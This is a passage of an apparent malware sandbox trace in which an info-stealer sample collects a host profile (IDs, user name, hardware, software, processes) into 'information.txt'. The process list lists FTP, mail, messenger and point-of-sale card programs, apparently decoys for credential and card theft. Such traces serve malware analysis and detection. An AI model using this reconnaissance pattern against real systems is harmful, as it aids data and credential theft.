protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [12.0.21005]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [12.0.21005]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [12.0.21005]\n"
[0054.983] RegCloseKey (hKey=0x514) returned 0x0
[0054.983] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x43, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103
[0054.983] RegCloseKey (hKey=0x508) returned 0x0
[0054.983] lstrlenA (lpString="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [12.0.21005]\n") returned 5604
[0054.983] lstrcpyA (in: lpString1=0x182170, lpString2="\\information.txt" | out: lpString1="\\information.txt") returned="\\information.txt"
[0054.983] lstrlenA (lpString="/information.txt") returned 16
[0054.983] StrCmpCA (pszStr1=".txt", pszStr2=".Z") returned 26
[0054.983] StrCmpCA (pszStr1=".txt", pszStr2=".zip") returned -6
[0054.983] StrCmpCA (pszStr1=".txt", pszStr2=".zoo") returned -6
[0054.983] StrCmpCA (pszStr1=".txt", pszStr2=".arc") returned 19
[0054.983] StrCmpCA (pszStr1=".txt", pszStr2=".lzh") returned 8
[0054.983] StrCmpCA (pszStr1=".txt", pszStr2=".arj") returned 19
[0054.983] StrCmpCA (pszStr1=".txt", pszStr2=".gz") returned 13
[0054.983] StrCmpCA (pszStr1=".txt", pszStr2=".tgz") returned 17
[0054.983] GetLocalTime (in: lpSystemTime=0x181db4 | out: lpSystemTime=0x181db4*(wYear=0x7e7, wMonth=0x4, wDayOfWeek=0x4, wDay=0xd, wHour=0x10, wMinute=0x10, wSecond=0x4, wMilliseconds=0x17e))
[0054.984] SystemTimeToFileTime (in: lpSystemTime=0x181db4, lpFileTime=0x181dac | out: lpFileTime=0x181dac) returned 1
[0054.984] FileTimeToSystemTime (in: lpFileTime=0x181da4, lpSystemTime=0x181dc4 | out: lpSystemTime=0x181dc4) returned 1
[0054.984] lstrcpyA (in: lpString1=0x181e48, lpString2="" | out: lpString1="") returned=""
[0054.984] lstrcpyA (in: lpString1=0x181f58, lpString2="/information.txt" | out: lpString1="/information.txt") returned="/information.txt"
[0054.984] lstrlenA (lpString="/information.txt") returned 16
[0054.984] lstrcpyA (in: lpString1=0x18205c, lpString2="" | out: lpString1="") returned=""
[0054.984] GetDesktopWindow () returned 0x10010
[0054.984] GetTickCount () returned 0x14e07c7
[0054.984] GetLastError () returned 0x12
[0054.984] SetLastError (dwErrCode=0x12)
[0054.984] GetLastError () returned 0x12
[0054.984] SetLastError (dwErrCode=0x12)
[0054.984] GetLastError () returned 0x12
[0054.984] SetLastError (dwErrCode=0x12)
[0054.984] GetLastError () returned 0x12
[0054.984] SetLastError (dwErrCode=0x12)
[0054.984] GetLastError () returned 0x12
[0054.984] SetLastError (dwErrCode=0x12)
[0054.984] GetLastError () returned 0x12
[0054.984] SetLastError (dwErrCode=0x12)
[0054.984] GetLastError () returned 0x12
[0054.984] SetLastError (dwErrCode=0x12)
[0054.985] GetLastError () returned 0x12
[0054.985] SetLastError (dwErrCode=0x12)
[0054.985] GetLastError () returned 0x12
[0054.985] SetLastError (dwErrCode=0x12)
[0054.985] GetLastError () returned 0x12
[0054.985] SetLastError (dwErrCode=0x12)
[0054.985] GetLastError () returned 0x12
[0054.985] SetLastError (dwErrCode=0x12)
[0054.985] GetLastError () returned 0x12
[0054.985] SetLastError (dwErrCode=0x12)
[0054.985] GetLastError () returned 0x12
[0054.985] SetLastError (dwErrCode=0x12)
[0054.985] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6afa8) returned 0xdfea370
[0054.991] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x9) returned 0x671128
[0054.991] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x360) returned 0x67ec40
[0054.991] Sleep (dwMilliseconds=0x1)
[0055.002] Sleep (dwMilliseconds=0x3)
[0055.018] Sleep (dwMilliseconds=0x3)
[0055.033] Sleep (dwMilliseconds=0x7)
[0055.051] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.051] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67efa8
[0055.051] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.051] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x47) returned 0x67db50
[0055.051] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
